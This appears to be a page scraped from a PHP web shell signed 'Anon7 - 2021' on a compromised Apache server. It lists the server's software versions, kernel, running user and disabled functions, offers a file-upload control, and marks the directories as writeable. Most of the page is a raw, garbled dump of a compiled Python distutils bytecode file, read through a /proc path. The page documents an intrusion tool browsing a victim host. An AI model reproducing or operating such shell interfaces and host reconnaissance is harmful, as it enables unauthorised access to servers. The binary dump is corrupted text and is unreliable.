KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21572/root/usr/lib64/python2.4/distutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21572/root/usr/lib64/python2.4/distutils/dir_util.pyc
mò
‚=5Dc@s¯dZdZdkZdkZdkTdklZlZdkl	Z	ha
dddd„Zdddd	„Zd
d
ddddd„Z
d„Zddd
„Zd„ZdS(sWdistutils.dir_util

Utility functions for manipulating directories and directory trees.s8$Id: dir_util.py 43260 2006-03-23 19:07:46Z tim.peters $N(t*(sDistutilsFileErrorsDistutilsInternalError(slogiÿicCsÀt|tƒptd|f‚ntii|ƒ}g}tii|ƒp
|djo|Snt	i
tii|ƒƒo|Sntii|ƒ\}}	|	g}
xO|oG|	o@tii|ƒo,tii|ƒ\}}	|
id|	ƒq¬Wx¾|
D]¶}tii||ƒ}tii|ƒ}t	i
|ƒoqntid|ƒ|pQyti|ƒ|i|ƒWq®tj
o }td||df‚q®Xndt	|<qW|S(	sCreate a directory and any missing ancestor directories.  If the
       directory already exists (or if 'name' is the empty string, which
       means the current directory, which of course exists), then do
       nothing.  Raise DistutilsFileError if unable to create some
       directory along the way (eg. some sub-path exists, but is a file
       rather than a directory).  If 'verbose' is true, print a one-line
       summary of each mkdir to stdout.  Return the list of directories
       actually created.s(mkpath: 'name' must be a string (got %r)tiscreating %sscould not create '%s': %siÿÿÿÿiN(t
isinstancetnametStringTypestDistutilsInternalErrortostpathtnormpathtcreated_dirstisdirt
_path_createdtgettabspathtsplittheadttailttailstinserttdtjointabs_headtlogtinfotdry_runtmkdirtappendtOSErrortexctDistutilsFileError(RtmodetverboseRRR	RRRRR((t*/usr/lib64/python2.4/distutils/dir_util.pytmkpaths> 	"
 c	Cszh}x3|D]+}d|tii|tii|ƒƒ<q
W|iƒ}|i
ƒx!|D]}t||d|ƒqYWdS(s¼Create all the empty directories under 'base_dir' needed to
       put 'files' there.  'base_dir' is just the a name of a directory
       which doesn't necessarily exist yet; 'files' is a list of filenames
       to be interpreted relative to 'base_dir'.  'base_dir' + the
       directory portion of every file in 'files' will be created if it
       doesn't already exist.  'mode', 'verbose' and 'dry_run' flags are as
       for 'mkpath()'.iRN(tneed_dirtfilestfileRRRtbase_dirtdirnametkeyst	need_dirstsorttdirR!RR(	R%R#RRRR"R$R(R*((R tcreate_treeXs)
icCs¼dkl}|o%tii|ƒotd|‚nyti|ƒ}
WnBti
j
o3\}}	|o
g}
q’td||	f‚nX|pt
|ƒng}x|
D]}tii||ƒ}
tii||ƒ}|oatii|
ƒoNti|
ƒ}tid||ƒ|pti||ƒn|i|ƒq´tii|
ƒo,|it|
|||||d|ƒƒq´||
||||d|ƒ|i|ƒq´W|S(s0Copy an entire directory tree 'src' to a new location 'dst'.  Both
       'src' and 'dst' must be directory names.  If 'src' is not a
       directory, raise DistutilsFileError.  If 'dst' does not exist, it is
       created with 'mkpath()'.  The end result of the copy is that every
       file in 'src' is copied to 'dst', and directories under 'src' are
       recursively copied to 'dst'.  Return the list of files that were
       copied or might have been copied, using their output name.  The
       return value is unaffected by 'update' or 'dry_run': it is simply
       the list of all files under 'src', with the names changed to be
       under 'dst'.

       'preserve_mode' and 'preserve_times' are the same as for
       'copy_file'; note that they only apply to regular files, not to
       directories.  If 'preserve_symlinks' is true, symlinks will be
       copied as symlinks (on platforms that support them!); otherwise
       (the default), the destination of the symlink will be copied.
       'update' and 'verbose' are the same as for 'copy_file'.(s	copy_files&cannot copy tree '%s': not a directoryserror listing files in '%s': %sslinking %s -> %sRN(!tdistutils.file_utilt	copy_fileRRRR
tsrcRtlistdirtnamesterrorterrnoterrstrR!tdsttoutputstnRtsrc_nametdst_nametpreserve_symlinkstislinktreadlinkt	link_destRRtsymlinkRtextendt	copy_treet
preserve_modetpreserve_timestupdate(R.R4R@RAR9RBRRR<R3R0R2R-R7R5R8R6((R R?ps>

	cCs—xzti|ƒD]i}tii||ƒ}tii|ƒo%tii|ƒot||ƒq|i
ti|fƒqW|i
ti|fƒdS(N(
RR/RtfRtreal_fR
R:t_build_cmdtuplet	cmdtuplesRtremovetrmdir(RRFRCRD((R RE·s'cCsÙdkl}tid|ƒ|odSng}t||ƒx“|D]‹}yMt	|d|dfƒt
ii|dƒ}t
i|ƒot
|=nWqFttfj
o#}ti||d|ƒƒqFXqFWdS(s‰Recursively remove an entire directory tree.  Any errors are ignored
    (apart from being reported to stdout if 'verbose' is true).
    (sgrok_environment_errors'removing '%s' (and everything under it)Niiserror removing %s: (tdistutils.utiltgrok_environment_errorRRt	directoryRRFREtcmdtapplyRRR
Rthas_keytIOErrorRRtwarn(RKRRRFRLRJRR
((R tremove_treeÁs"

cCshtii|ƒ\}}tidjoti|Sn.|dd!tijo||d}n|SdS(ssTake the full path 'path', and make it a relative path so
    it can be the second argument to os.path.join().
    tmaciiN(RRt
splitdrivetdrivetsystplatformtsep(RRT((R tensure_relativeÙs(t__doc__t__revision__RRUttypestdistutils.errorsRRt	distutilsRRR!R+R?RERQRX(RZRR!RQRRXRURERR?R+R((R t?s
CG	


Anon7 - 2021